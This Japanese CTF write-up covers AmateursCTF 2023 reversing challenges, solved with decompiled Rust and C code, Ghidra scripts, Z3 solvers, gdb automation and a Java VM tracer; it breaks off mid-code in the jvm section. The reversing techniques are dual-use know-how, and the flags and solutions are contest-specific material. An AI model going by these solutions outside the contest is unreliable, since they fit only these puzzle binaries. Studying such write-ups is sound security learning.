7/15 から 5 日間開催されていた AmateursCTF 2023 に 0nePadding で参加して、16 位 / 914 チームでした。
今回から本格的に参加してくれている新メンバーの活躍もあり、ずっと上位争いの下の方につけていたのでなかなか熱いコンテストになりました。
Rev は ELF、PE、Java あたりの問題は全部通せたのですが、Emojicode や Scratch などの少々特殊なコードの解析に耐えられなくなり、最後まで解析を進められませんでした。
Rev をメインでやる人ももう一人くらいチームにほしいです。
問題が多くて簡易的なものになりましたが、Writeup を書きます。
もくじ
- rusteze(Rev)
- volcano(Rev)
- headache(Rev)
- CSCE221-Data Structures and Algorithms(Rev)
- jvm(Rev)
- rusteze 2(Rev)
- Painfully Deep Flag(Forensic)
- rules-iceberg(Forensic)
- ELFcrafting-v1(Pwn)
- simple-heap-v1(Pwn)
- ScreenshotGuesser(OSINT)
- まとめ
rusteze(Rev)
Get rid of all your Rust rust with this brand new Rust-eze™ de-ruster.
Flag is
amateursCTF{[a-zA-Z0-9_]+}
Rust 製の ELF バイナリの解析問題でした。
デコンパイルすると以下のようなコードを取得できます。
デコンパイル結果は以下でした。
void rusteze::rusteze::main(void)
{
ulong uVar1;
Result<(),_std::io::error::Error> self;
u8 *puVar2;
ulong in_stack_fffffffffffffdc8;
undefined7 in_stack_fffffffffffffdd0;
Arguments local_1b8;
undefined8 local_188;
String local_180;
Result<usize,_std::io::error::Error> local_168;
undefined8 local_158;
Arguments local_150;
byte key [38];
byte result [38];
ulong i;
byte local_c7;
byte check [38];
Arguments local_a0;
Arguments local_70;
&str local_30;
byte local_19;
undefined4 local_18;
byte local_11;
&str local_10;
byte r;
core::fmt::Arguments::new_const
(&local_1b8,
(&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
std::io::stdio::_print(&local_1b8);
local_188 = std::io::stdio::stdout();
self = (Result<(),_std::io::error::Error>)std::io::stdio::{impl#12}::flush(&local_188);
core::result::Result<(),_std::io::error::Error>::unwrap<(),_std::io::error::Error>(self);
alloc::string::String::new(&local_180);
/* try { // try from 00108f21 to 00108f29 has its CatchHandler @ 00108f43 */
/* } // end try from 00108f21 to 00108f29 */
local_158 = std::io::stdio::stdin();
/* try { // try from 00108f66 to 00108fc6 has its CatchHandler @ 00108f43 */
std::io::stdio::Stdin::read_line(&local_168,&local_158,&local_180);
core::result::Result<usize,_std::io::error::Error>::unwrap<usize,_std::io::error::Error>
(&local_168,
(Result<usize,_std::io::error::Error>)
CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
alloc::string::{impl#38}::deref(&local_180);
/* } // end try from 00108f66 to 00108fc6 */
local_30 = core::str::{impl#0}::trim
((&str)CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,
in_stack_fffffffffffffdc8)));
puVar2 = SUB168((undefined [16])local_30,0);
local_10 = local_30;
if (SUB168((undefined [16])local_30,8) == 0x26) {
key[0] = 0x27;
key[1] = 0x97;
key[2] = 0x57;
key[3] = 0xe1;
key[4] = 0xa9;
key[5] = 0x75;
key[6] = 0x66;
key[7] = 0x3e;
key[8] = 0x1b;
key[9] = 99;
key[10] = 0xe3;
key[11] = 0xa0;
key[12] = 5;
key[13] = 0x73;
key[14] = 0x59;
key[15] = 0xfb;
key[16] = 10;
key[17] = 0x43;
key[18] = 0x8f;
key[19] = 0xe0;
key[20] = 0xba;
key[21] = 0xc0;
key[22] = 0x54;
key[23] = 0x99;
key[24] = 6;
key[25] = 0xbf;
key[26] = 0x9f;
key[27] = 0x2f;
key[28] = 0xc4;
key[29] = 0xaa;
key[30] = 0xa6;
key[31] = 0x74;
key[32] = 0x1e;
key[33] = 0xdd;
key[34] = 0x97;
key[35] = 0x22;
key[36] = 0xed;
key[37] = 0xc5;
memset(result,0,0x26);
i = 0;
uVar1 = i;
while (i = uVar1, i < 0x26) {
if (0x25 < i) {
/* try { // try from 0010933e to 001095c0 has its CatchHandler @ 00108f43 */
/* WARNING: Subroutine does not return */
core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6038);
}
if (0x25 < i) {
/* WARNING: Subroutine does not return */
core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6050);
}
local_19 = puVar2[i] ^ key[i];
local_18 = 2;
local_c7 = local_19 << 2 | local_19 >> 6;
local_11 = local_c7;
if (0x25 < i) {
/* WARNING: Subroutine does not return */
core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6068);
}
result[i] = local_c7;
uVar1 = i + 1;
if (0xfffffffffffffffe < i) {
/* WARNING: Subroutine does not return */
core::panicking::panic("attempt to add with overflowCorrect!\n",0x1c,&DAT_5555555a6080);
}
}
check[0] = 0x19;
check[1] = 0xeb;
check[2] = 0xd8;
check[3] = 0x56;
check[4] = 0x33;
check[5] = 0;
check[6] = 0x50;
check[7] = 0x35;
check[8] = 0x61;
check[9] = 0xdc;
check[10] = 0x96;
check[11] = 0x6f;
check[12] = 0xb5;
check[13] = 0xd;
check[14] = 0xa4;
check[15] = 0x7a;
check[16] = 0x55;
check[17] = 0xe8;
check[18] = 0xfe;
check[19] = 0x56;
check[20] = 0x97;
check[21] = 0xde;
check[22] = 0x9d;
check[23] = 0xaf;
check[24] = 0xd4;
check[25] = 0x47;
check[26] = 0xaf;
check[27] = 0xc1;
check[28] = 0xc2;
check[29] = 0x6a;
check[30] = 0x5a;
check[31] = 0xac;
check[32] = 0xb1;
check[33] = 0xa2;
check[34] = 0x8a;
check[35] = 0x59;
check[36] = 0x52;
check[37] = 0xe2;
i = 0;
uVar1 = i;
while( true ) {
i = uVar1;
if (0x25 < i) {
core::fmt::Arguments::new_const
(&local_70,
(&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8
)));
/* } // end try from 0010933e to 001095c0 */
std::io::stdio::_print(&local_70);
core::ptr::drop_in_place<alloc::string::String>(&local_180);
return;
}
if (0x25 < i) {
/* WARNING: Subroutine does not return */
core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a6098);
}
r = result[i];
if (0x25 < i) {
/* WARNING: Subroutine does not return */
core::panicking::panic_bounds_check(i,0x26,&DAT_5555555a60b0);
}
if (r != check[i]) break;
in_stack_fffffffffffffdc8 = i + 1;
uVar1 = in_stack_fffffffffffffdc8;
if (0xfffffffffffffffe < i) {
/* WARNING: Subroutine does not return */
core::panicking::panic("attempt to add with overflowCorrect!\n",0x1c,&DAT_5555555a60c8);
}
}
core::fmt::Arguments::new_const
(&local_a0,
(&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
std::io::stdio::_print(&local_a0);
}
else {
/* try { // try from 00109163 to 0010918e has its CatchHandler @ 00108f43 */
core::fmt::Arguments::new_const
(&local_150,
(&[&str])CONCAT115(r,CONCAT78(in_stack_fffffffffffffdd0,in_stack_fffffffffffffdc8)));
/* } // end try from 00109163 to 0010918e */
std::io::stdio::_print(&local_150);
}
core::ptr::drop_in_place<alloc::string::String>(&local_180);
return;
}
0x26 文字分の入力を受け取って、ハードコードされた Key を使って加工した後に、同じくハードコードされた Check の配列と比較していることがわかります。
バイナリにハードコードされた配列については、以下の Ghidra Script で一括収集しました。
addr = toAddr(0x109011)
inst = getInstructionAt(addr)
result = []
for i in range(0x26):
result.append(inst.getDefaultOperandRepresentation(1))
inst = inst.getNext()
print(result)
# [u'0x27', u'0x97', u'0x57', u'0xe1', u'0xa9', u'0x75', u'0x66', u'0x3e', u'0x1b', u'0x63', u'0xe3', u'0xa0', u'0x5', u'0x73', u'0x59', u'0xfb', u'0xa', u'0x43', u'0x8f', u'0xe0', u'0xba', u'0xc0', u'0x54', u'0x99', u'0x6', u'0xbf', u'0x9f', u'0x2f', u'0xc4', u'0xaa', u'0xa6', u'0x74', u'0x1e', u'0xdd', u'0x97', u'0x22', u'0xed', u'0xc5']
addr = toAddr(0x1091b4)
inst = getInstructionAt(addr)
result = []
for i in range(0x26):
result.append(inst.getDefaultOperandRepresentation(1))
inst = inst.getNext()
print(result)
# [u'0x19', u'0xeb', u'0xd8', u'0x56', u'0x33', u'0x0', u'0x50', u'0x35', u'0x61', u'0xdc', u'0x96', u'0x6f', u'0xb5', u'0xd', u'0xa4', u'0x7a', u'0x55', u'0xe8', u'0xfe', u'0x56', u'0x97', u'0xde', u'0x9d', u'0xaf', u'0xd4', u'0x47', u'0xaf', u'0xc1', u'0xc2', u'0x6a', u'0x5a', u'0xac', u'0xb1', u'0xa2', u'0x8a', u'0x59', u'0x52', u'0xe2']
加工については、入力値の上位ビットと下位ビットを入れ替えて Key と XOR するだけでしたので、以下の Python スクリプトで Flag を取得できました。
key = [u'0x27', u'0x97', u'0x57', u'0xe1', u'0xa9', u'0x75', u'0x66', u'0x3e', u'0x1b', u'0x63', u'0xe3', u'0xa0', u'0x5', u'0x73', u'0x59', u'0xfb', u'0xa', u'0x43', u'0x8f', u'0xe0', u'0xba', u'0xc0', u'0x54', u'0x99', u'0x6', u'0xbf', u'0x9f', u'0x2f', u'0xc4', u'0xaa', u'0xa6', u'0x74', u'0x1e', u'0xdd', u'0x97', u'0x22', u'0xed', u'0xc5']
res = [u'0x19', u'0xeb', u'0xd8', u'0x56', u'0x33', u'0x0', u'0x50', u'0x35', u'0x61', u'0xdc', u'0x96', u'0x6f', u'0xb5', u'0xd', u'0xa4', u'0x7a', u'0x55', u'0xe8', u'0xfe', u'0x56', u'0x97', u'0xde', u'0x9d', u'0xaf', u'0xd4', u'0x47', u'0xaf', u'0xc1', u'0xc2', u'0x6a', u'0x5a', u'0xac', u'0xb1', u'0xa2', u'0x8a', u'0x59', u'0x52', u'0xe2']
for i in range(0x26):
r = int(res[i], 16)
r = (r >> 2 | r << 6) & 0xff
k = int(key[i], 16)
print(chr(r^k), end="")
# amateursCTF{h0pe_y0u_w3r3nt_t00_ru5ty}
volcano(Rev)
Inspired by recent “traumatic” events.
nc amt.rs 31010
過酷な戦いでした。
バイナリをデコンパイルすると、3 つの入力値を取って各値に対して複数の演算を行う処理を行っていることがわかります。
複数の処理でそれぞれの入力値のバリデーションチェックを行ったあと、最終的に以下の 3 つの関数に入力値 bear と volcano を与えることになります。
この制約が Z3 で解くにはかなり複雑でかなり苦労したのですが、最終的に bear と volcano の値が一致する場合であればこれらの関数の実装は無視できることに気づきました。
そのため最終的には以下のシンプルな制約で Flag を取得できました。
from z3 import *
from math import *
s = Solver()
i1 = BitVec('i1', 64)
i2 = BitVec('i2', 64)
i3 = Int('i3')
s.add(i1 > 0)
s.add(i2 > 0)
s.add(i3 > 0)
# bear
s.add(i1 % 2 == 0) # & は NG
s.add(i1 % 3 == 2)
s.add(i1 % 5 == 1)
s.add(i1 % 7 == 3)
s.add(i1 % 0x6d == 0x37)
# volcano
s.add(volcano(i2) == 1)
# volcano = bear
s.add(i1 == i2)
# v3
s.add(i3 % 2 != 0)
s.add(i3 != 1)
result = []
if s.check() == sat:
for a in s.model():
print(a, s.model()[a])
result.append(s.model()[a])
else:
print("unsat")
計算した入力値を問題サーバに送信することで Flag を取得できます。
headache(Rev)
Ugh… my head hurts… Flag is amateursCTF{[a-zA-Z0-9_]+}
与えられた ELF ファイルを Ghidra でデコンパイルするとシンプルな出力を得られます。
0x3d 分の入力値を FUN_00401290 関数で検証するだけです。
しかし、ここからが難解で、この関数は以下のような処理を行います。
具体的には、.text セクションに定義されたバイナリデータの一部に対して XOR 演算を行い、復号されたコードを実行する処理になっています。
さらに、復元されたコードの中では、さらに以下の処理が行われます。
- 入力値の a 番目の文字と b 番目の文字を XOR した値がハードコードされたバイト値と一致するかをチェックする。
- 一致した場合は、さらに次の実行コードを復元し、そのアドレスにジャンプする。
バイナリから抽出したコードを復元するプログラムを作成しても解けそうでしたが、今回は gdb の自動化で Flag を取得することにしました。
以下のコードを実行することで、「入力値の a 番目の文字と b 番目の文字を XOR した値がハードコードされたバイト値と一致するか」の処理をすべて抜き出すことができます。
# gdb -x run.py
import gdb
BINDIR = "/home/ubuntu/Hacking/CTF/2023/amatureCTF/Rev/headache"
BIN = "headache"
INPUT = "./in.txt"
OUT = "./out.txt"
# gdb.execute('dump binary memory execute.bin 0x4012a4 0x4012b8')
gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *{}'.format(0x40438c))
gdb.execute('set $ZF = 6')
gdb.execute('run < {} > {}'.format(INPUT, OUT))
ARCH = gdb.selected_frame().architecture()
with open("./gate.txt", "w") as f:
while True:
pc = gdb.selected_frame().pc()
result = ARCH.disassemble(pc, count=1)
BREAK = int(result[0]["asm"][-8::], 16)
gdb.execute('b *{}'.format(BREAK))
gdb.execute('continue')
result = ARCH.disassemble(BREAK, count=3)
for instr in result:
f.write(instr["asm"] + "\n")
# print(hex(instr["addr"]), instr["asm"])
gdb.execute('n 3')
eflags = gdb.parse_and_eval("$eflags")
if not "ZF" in str(eflags):
gdb.execute('set $eflags ^= (1 << $ZF)')
gdb.execute('n')
# Call
pc = gdb.selected_frame().pc()
gdb.execute('b *{}'.format(hex(pc+0x18)))
gdb.execute('c')
ただし、この結果だけだと、「正しい Flag の a 番目の文字と b 番目の文字を XOR した値がハードコードされたバイト値と一致する」ということしか特定できません。
そのため、最後に抽出した条件を制約とした以下のスクリプトを作成し、Z3 で Flag を取得しました。
with open("note.txt", "r") as f:
data = f.readlines()
i = 0
for i in range(0,len(data), 3):
a = data[i].split("\n")[0]
b = data[i+1].split("\n")[0]
c = data[i+2].split("\n")[0]
print("s.add(flag[{}]^flag[{}] == {})".format(a, b, c))
from z3 import *
s = Solver()
flag = [BitVec(f"flag[{i}]", 8) for i in range(0x3d)]
for i in range(0x3d):
s.add(And(
(flag[i] >= 0x21),
(flag[i] <= 0x7e)
))
# amateursCTF
s.add(flag[0] == ord("a"))
s.add(flag[1] == ord("m"))
s.add(flag[2] == ord("a"))
s.add(flag[3] == ord("t"))
s.add(flag[4] == ord("e"))
s.add(flag[5] == ord("u"))
s.add(flag[6] == ord("r"))
s.add(flag[7] == ord("s"))
s.add(flag[8] == ord("C"))
s.add(flag[9] == ord("T"))
s.add(flag[10] == ord("F"))
s.add(flag[0x2d]^flag[0xe] == 0x1d)
s.add(flag[0x22]^flag[0x21] == 0x5)
s.add(flag[0x34]^flag[0x28] == 0x5)
s.add(flag[0x38]^flag[0xc] == 0x5)
s.add(flag[0xb]^flag[0x4] == 0x1e)
s.add(flag[0x37]^flag[0x13] == 0x12)
s.add(flag[0x2b]^flag[0x3c] == 0x4e)
s.add(flag[0x16]^flag[0x11] == 0x43)
s.add(flag[0x3b]^flag[0x8] == 0x33)
s.add(flag[0x34]^flag[0x2e] == 0x5)
s.add(flag[0x2b]^flag[0x1f] == 0x5b)
s.add(flag[0x1d]^flag[0xe] == 0xf)
s.add(flag[0x2d]^flag[0x25] == 0x1d)
s.add(flag[0x36]^flag[0x1] == 0x32)
s.add(flag[0x1d]^flag[0x36] == 0x38)
s.add(flag[0x17]^flag[0xa] == 0x2a)
s.add(flag[0x11]^flag[0x8] == 0x70)
s.add(flag[0x21]^flag[0x1e] == 0x3e)
s.add(flag[0x3a]^flag[0x1d] == 0x54)
s.add(flag[0x6]^flag[0x38] == 0x1e)
s.add(flag[0x5]^flag[0x4] == 0x10)
s.add(flag[0xf]^flag[0x10] == 0x42)
s.add(flag[0x4]^flag[0x1e] == 0x3a)
s.add(flag[0x1d]^flag[0x21] == 0x6)
s.add(flag[0x1c]^flag[0x25] == 0x6)
s.add(flag[0x28]^flag[0x1d] == 0x56)
s.add(flag[0xb]^flag[0x5] == 0xe)
s.add(flag[0x2a]^flag[0x12] == 0x2d)
s.add(flag[0x2b]^flag[0x12] == 0x6c)
s.add(flag[0x30]^flag[0x23] == 0x4)
s.add(flag[0x31]^flag[0x25] == 0x37)
s.add(flag[0x22]^flag[0x24] == 0x7)
s.add(flag[0x9]^flag[0x2a] == 0x26)
s.add(flag[0x34]^flag[0x2f] == 0x46)
s.add(flag[0x22]^flag[0x1d] == 0x3)
s.add(flag[0x5]^flag[0x28] == 0x44)
s.add(flag[0x3b]^flag[0x27] == 0x2f)
s.add(flag[0x26]^flag[0x35] == 0x17)
s.add(flag[0x1e]^flag[0x1f] == 0x37)
s.add(flag[0x7]^flag[0x9] == 0x27)
s.add(flag[0x35]^flag[0x16] == 0x2)
s.add(flag[0x3b]^flag[0x37] == 0x3)
s.add(flag[0xa]^flag[0x30] == 0x23)
s.add(flag[0xa]^flag[0x18] == 0x2f)
s.add(flag[0x38]^flag[0x2c] == 0x1d)
s.add(flag[0x27]^flag[0x12] == 0x0)
s.add(flag[0x14]^flag[0xf] == 0x6b)
s.add(flag[0x27]^flag[0x29] == 0x0)
s.add(flag[0x24]^flag[0x35] == 0x11)
s.add(flag[0x1a]^flag[0x1] == 0x5a)
s.add(flag[0x27]^flag[0xe] == 0x37)
s.add(flag[0x30]^flag[0x9] == 0x31)
s.add(flag[0x2b]^flag[0x35] == 0x41)
s.add(flag[0x6]^flag[0xc] == 0x1b)
s.add(flag[0x21]^flag[0x3] == 0x15)
s.add(flag[0x8]^flag[0x18] == 0x2a)
s.add(flag[0x34]^flag[0x2] == 0x55)
s.add(flag[0xf]^flag[0x1b] == 0x5d)
s.add(flag[0x7]^flag[0x3b] == 0x3)
s.add(flag[0x26]^flag[0x17] == 0x9)
s.add(flag[0x1d]^flag[0x8] == 0x24)
s.add(flag[0xc]^flag[0x5] == 0x1c)
s.add(flag[0x37]^flag[0x1d] == 0x14)
s.add(flag[0x25]^flag[0x2] == 0x9)
s.add(flag[0x37]^flag[0x29] == 0x2c)
s.add(flag[0x13]^flag[0x21] == 0x0)
s.add(flag[0x33]^flag[0x3] == 0x44)
s.add(flag[0x39]^flag[0x32] == 0x5e)
s.add(flag[0x27]^flag[0x21] == 0x3e)
s.add(flag[0x4]^flag[0x19] == 0x52)
s.add(flag[0xe]^flag[0x7] == 0x1b)
s.add(flag[0x24]^flag[0x3] == 0x17)
s.add(flag[0x30]^flag[0x11] == 0x56)
s.add(flag[0x18]^flag[0x2a] == 0x1b)
s.add(flag[0x38]^flag[0x18] == 0x5)
s.add(flag[0x18]^flag[0x34] == 0x5d)
s.add(flag[0x3]^flag[0x28] == 0x45)
s.add(flag[0x1a]^flag[0x9] == 0x63)
s.add(flag[0xd]^flag[0x22] == 0x3b)
s.add(flag[0x1e]^flag[0x23] == 0x3e)
s.add(flag[0x1e]^flag[0x35] == 0x2d)
s.add(flag[0x6]^flag[0x2] == 0x13)
s.add(flag[0x2a]^flag[0x18] == 0x1b)
s.add(flag[0x32]^flag[0x1d] == 0xa)
s.add(flag[0x1d]^flag[0x29] == 0x38)
s.add(flag[0x24]^flag[0x1] == 0xe)
s.add(flag[0x1]^flag[0x21] == 0xc)
s.add(flag[0xc]^flag[0x2e] == 0x58)
s.add(flag[0x36]^flag[0x19] == 0x68)
s.add(flag[0x35]^flag[0x16] == 0x2)
s.add(flag[0x30]^flag[0x24] == 0x6)
s.add(flag[0x11]^flag[0x2d] == 0x46)
s.add(flag[0x1]^flag[0x5] == 0x18)
s.add(flag[0xc]^flag[0x18] == 0x0)
s.add(flag[0x34]^flag[0x10] == 0x42)
s.add(flag[0x3a]^flag[0xb] == 0x48)
s.add(flag[0x21]^flag[0x12] == 0x3e)
s.add(flag[0x34]^flag[0x16] == 0x44)
s.add(flag[0x2a]^flag[0x1a] == 0x45)
s.add(flag[0x1e]^flag[0x13] == 0x3e)
s.add(flag[0xc]^flag[0x2d] == 0x1c)
s.add(flag[0x19]^flag[0x39] == 0x4)
s.add(flag[0x20]^flag[0x8] == 0x26)
s.add(flag[0xb]^flag[0x26] == 0x1e)
s.add(flag[0x23]^flag[0x29] == 0x3e)
s.add(flag[0x38]^flag[0xf] == 0x58)
s.add(flag[0x39]^flag[0x17] == 0x5f)
s.add(flag[0x22]^flag[0x2b] == 0x57)
s.add(flag[0x39]^flag[0x15] == 0x40)
s.add(flag[0x1]^flag[0x10] == 0x1b)
s.add(flag[0x11]^flag[0x6] == 0x41)
s.add(flag[0x2]^flag[0x1f] == 0x9)
s.add(flag[0x2c]^flag[0x13] == 0x10)
s.add(flag[0x2c]^flag[0x2b] == 0x42)
s.add(flag[0x37]^flag[0x34] == 0x47)
s.add(flag[0xa]^flag[0x23] == 0x27)
s.add(flag[0x22]^flag[0x1] == 0x9)
s.add(flag[0x24]^flag[0x21] == 0x2)
s.add(flag[0x32]^flag[0x21] == 0xc)
s.add(flag[0x25]^flag[0x1f] == 0x0)
s.add(flag[0x36]^flag[0x1b] == 0x36)
s.add(flag[0x33]^flag[0x3a] == 0x3)
s.add(flag[0x2c]^flag[0x19] == 0x46)
s.add(flag[0xd]^flag[0xb] == 0x24)
s.add(flag[0x1b]^flag[0x4] == 0xc)
s.add(flag[0x9]^flag[0x24] == 0x37)
s.add(flag[0x23]^flag[0x1] == 0xc)
s.add(flag[0x15]^flag[0x39] == 0x40)
s.add(flag[0x1a]^flag[0x17] == 0x5b)
s.add(flag[0x1f]^flag[0x35] == 0x1a)
s.add(flag[0x2a]^flag[0x1b] == 0x1b)
s.add(flag[0x2c]^flag[0x14] == 0x2e)
s.add(flag[0x21]^flag[0x33] == 0x51)
s.add(flag[0x11]^flag[0x37] == 0x40)
s.add(flag[0x16]^flag[0x23] == 0x11)
s.add(flag[0xc]^flag[0x19] == 0x5e)
s.add(flag[0x9]^flag[0x2] == 0x35)
s.add(flag[0xd]^flag[0x32] == 0x32)
s.add(flag[0x3a]^flag[0x1b] == 0x5a)
s.add(flag[0x3]^flag[0x2d] == 0x1)
s.add(flag[0x25]^flag[0x1e] == 0x37)
s.add(flag[0x35]^flag[0x38] == 0x1e)
s.add(flag[0x8]^flag[0xc] == 0x2a)
s.add(flag[0x14]^flag[0x16] == 0x2f)
s.add(flag[0x4]^flag[0x1e] == 0x3a)
s.add(flag[0x18]^flag[0x2f] == 0x1b)
s.add(flag[0x22]^flag[0x1b] == 0xd)
s.add(flag[0x1c]^flag[0x1b] == 0x7)
s.add(flag[0x30]^flag[0x38] == 0x9)
s.add(flag[0x14]^flag[0x10] == 0x29)
s.add(flag[0x34]^flag[0x8] == 0x77)
s.add(flag[0x32]^flag[0xf] == 0x59)
s.add(flag[0x18]^flag[0x17] == 0x5)
s.add(flag[0x2d]^flag[0xb] == 0xe)
s.add(flag[0x3a]^flag[0x2] == 0x52)
s.add(flag[0xe]^flag[0x3a] == 0x5b)
s.add(flag[0x36]^flag[0x9] == 0xb)
s.add(flag[0x2f]^flag[0x8] == 0x31)
s.add(flag[0x3]^flag[0x29] == 0x2b)
s.add(flag[0x3]^flag[0x3c] == 0x9)
s.add(flag[0x18]^flag[0x2b] == 0x5a)
s.add(flag[0x8]^flag[0x12] == 0x1c)
s.add(flag[0x1e]^flag[0x8] == 0x1c)
s.add(flag[0x16]^flag[0x19] == 0x47)
s.add(flag[0x34]^flag[0x5] == 0x41)
s.add(flag[0x14]^flag[0x1] == 0x32)
s.add(flag[0xe]^flag[0x33] == 0x58)
s.add(flag[0x12]^flag[0x2d] == 0x2a)
s.add(flag[0x7]^flag[0x1d] == 0x14)
s.add(flag[0x17]^flag[0x2a] == 0x1e)
s.add(flag[0x1c]^flag[0x1d] == 0x9)
s.add(flag[0x31]^flag[0x24] == 0x3c)
s.add(flag[0xa]^flag[0x27] == 0x19)
s.add(flag[0x39]^flag[0xa] == 0x75)
s.add(flag[0xd]^flag[0x37] == 0x2c)
s.add(flag[0x39]^flag[0x19] == 0x4)
s.add(flag[0x29]^flag[0x19] == 0x68)
s.add(flag[0x3b]^flag[0x14] == 0x2f)
s.add(flag[0x17]^flag[0xe] == 0x4)
s.add(flag[0x1a]^flag[0x1b] == 0x5e)
s.add(flag[0x3a]^flag[0x5] == 0x46)
s.add(flag[0x10]^flag[0x25] == 0x1e)
s.add(flag[0x39]^flag[0xe] == 0x5b)
s.add(flag[0x19]^flag[0x11] == 0x4)
s.add(flag[0x6]^flag[0x28] == 0x43)
s.add(flag[0x28]^flag[0xd] == 0x6e)
s.add(flag[0x36]^flag[0x1e] == 0x0)
s.add(flag[0x19]^flag[0xd] == 0x68)
s.add(flag[0x2]^flag[0x12] == 0x3e)
s.add(flag[0xd]^flag[0xa] == 0x19)
s.add(flag[0x27]^flag[0x21] == 0x3e)
s.add(flag[0x12]^flag[0x22] == 0x3b)
s.add(flag[0x6]^flag[0x23] == 0x13)
s.add(flag[0x31]^flag[0x26] == 0x3a)
s.add(flag[0x4]^flag[0x2] == 0x4)
s.add(flag[0x30]^flag[0x34] == 0x51)
s.add(flag[0x3a]^flag[0xe] == 0x5b)
s.add(flag[0x2d]^flag[0x6] == 0x7)
s.add(flag[0x13]^flag[0x8] == 0x22)
s.add(flag[0x4]^flag[0x36] == 0x3a)
s.add(flag[0x22]^flag[0x3] == 0x10)
s.add(flag[0xc]^flag[0xb] == 0x12)
s.add(flag[0x25]^flag[0x3c] == 0x15)
s.add(flag[0x39]^flag[0x2b] == 0x0)
s.add(flag[0xd]^flag[0x7] == 0x2c)
s.add(flag[0x18]^flag[0x7] == 0x1a)
s.add(flag[0x37]^flag[0x35] == 0x1)
s.add(flag[0x19]^flag[0x6] == 0x45)
while s.check() == sat:
m = s.model()
for c in flag:
print(chr(m[c].as_long()),end="")
print("")
break
CSCE221-Data Structures and Algorithms(Rev)
I was doing some homework for my Data Structures and Algorithms class, but my program unexpectedly crashed when I entered in my flag. Could you help me get it back?
Here’s the coredump and the binary, I’ll even toss in the header file. Can’t give out the source code though, how do I know you won’t cheat off me?
問題バイナリとして ELF ファイルと、そのバイナリのコアダンプファイルが与えられます。
コアダンプの方はフォーマット不一致のエラーで gdb にロードさせることができず少し困ったのですが、Ghidra で解析できることがわかり、解析を進めました。
まずは通常の ELF ファイルの処理を一通り解析します。
このバイナリは、list と listnode という独自の構造体を用いて入力された文字列を分解してメモリに格納することがわかりました。
typedef unsigned char byte;
struct listnode {
byte data;
struct listnode *ptr;
};
struct list {
int len;
struct listnode *head;
}(list);
void list_init(struct list *list, byte *data, int len);
void list_mix(struct list *list);
そのため、まずはコアダンプの方から main 関数のアドレスを特定しました。
次に、Ghidra で list と listnode の構造体定義を作成します。
アラインメントの兼ね合いで空バイトを含める必要がある点には注意が必要です。
ここで定義した構造体をコアダンプの方のデータセクションに登録すると、list 構造体の保持する listnode 構造体のポインタアドレスが埋まってることがわかりました。
これをたどっていけば Flag を取得できると思ったものの、残念ながら listnode 構造体のリストは途中で破損してしまっていました。
しかし、リストのポインタアドレスは破損していても実際のメモリデータはそのままのようでしたので、以下の Ghidra スクリプトでメモリ領域に listnode 構造体を割り当てながら値を取得していくスクリプトを作成しました。
from ghidra.app.script import GhidraScript
# listnode の取得
data_type_manager = currentProgram.getDataTypeManager()
my_structure = data_type_manager.getDataType("main.coredump/listnode")
start_address = toAddr("0x405000")
data_section = currentProgram.getMemory().getBlock(start_address)
flag = ""
listnode_addr = 0x4052a0
for i in range(0x1d):
data_address = toAddr(hex(listnode_addr))
data_object = createData(data_address, my_structure)
data_structure = data_object.dataType
data_component = data_structure.getComponent(0x0)
offset = data_component.offset
length = data_component.length
data_type = data_component.dataType
byte_array = getBytes(data_address.add(offset), length)
flag += chr(byte_array[0])
listnode_addr += 32
これを実行することで、Ghidra で Flag を取得することができました。
jvm(Rev)
I heard my professor talking about some “Java Virtual Machine” and its weird gimmicks, so I took it upon myself to complete one. It wasn’t even that hard? I don’t know why he was complaining about it so much.
Java 製の VM 問題でした。
VM 問題は先日の UIUCTF のリベンジでしたが、今回は何とか解くことができました。
問題バイナリとして与えられた Class ファイルを jadx でデコンパイルして、いくつかの処理に Print デバイスを追加します。
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
public class Solver {
static byte[] program;
public static void main(String[] strArr) throws IOException {
File file = new File(strArr[0]);
FileInputStream fileInputStream = new FileInputStream(file);
program = new byte[(int) file.length()];
fileInputStream.read(program);
fileInputStream.close();
vm();
}
private static void vm() throws IOException {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
int pc = 0;
int sp = 0;
int[] stack = new int[1024];
int[] buf = new int[4];
while (pc < program.length) {
// System.out.println(stack);
// System.out.println(buf);
System.out.print("Offset: ");
System.out.print(Integer.toHexString(pc));
System.out.print(" Call: ");
System.out.println(program[pc]);
// System.out.println(stack[0]);
switch (program[pc]) {
case 0:
case 1:
case 2:
case 3:
// System.out.println(program[pc]);
byte b = program[pc];
byte b2 = program[pc + 1];
int i3 = buf[b];
buf[b] = buf[b2];
buf[b2] = i3;
System.out.print("======> 0x0 0x1 0x2 0x3 : ");
System.out.print("Swap buf[b] = ");
System.out.print(buf[b]);
System.out.print(" buf[b2] = ");
System.out.println(buf[b2]);
pc += 2;
break;
case 8:
byte b3 = program[pc + 1];
System.out.print("======> 0x8 b3 :");
System.out.print(b3);
System.out.print(" buf[b3] = ");
System.out.print(buf[b3]);
System.out.print(" + ");
System.out.print(program[pc + 2]);
buf[b3] = buf[b3] + program[pc + 2];
System.out.print(" Result : ");
System.out.println(buf[b3]);
pc += 3;
break;
case 9:
byte b4 = program[pc + 1];
System.out.print("======> 0x9 b4 : ");
System.out.print(b4);
System.out.print(" buf[b4] = ");
System.out.print(buf[b4]);
System.out.print(" + ");
System.out.print(buf[program[pc + 2]]);
buf[b4] = buf[b4] + buf[program[pc + 2]];
System.out.print(" Result : ");
System.out.println(buf[b4]);
pc += 3;
break;
case 12:
// input-1
// check-3
byte b5 = program[pc + 1];
// buf[0] = buf[b5] - 1
System.out.print("======> 0x12 Buf :");
System.out.print(b5);
System.out.print(" buf[b5] = ");
System.out.print(buf[b5]);
System.out.print(" - ");
System.out.print(program[pc + 2]);
System.out.print(" Result : ");
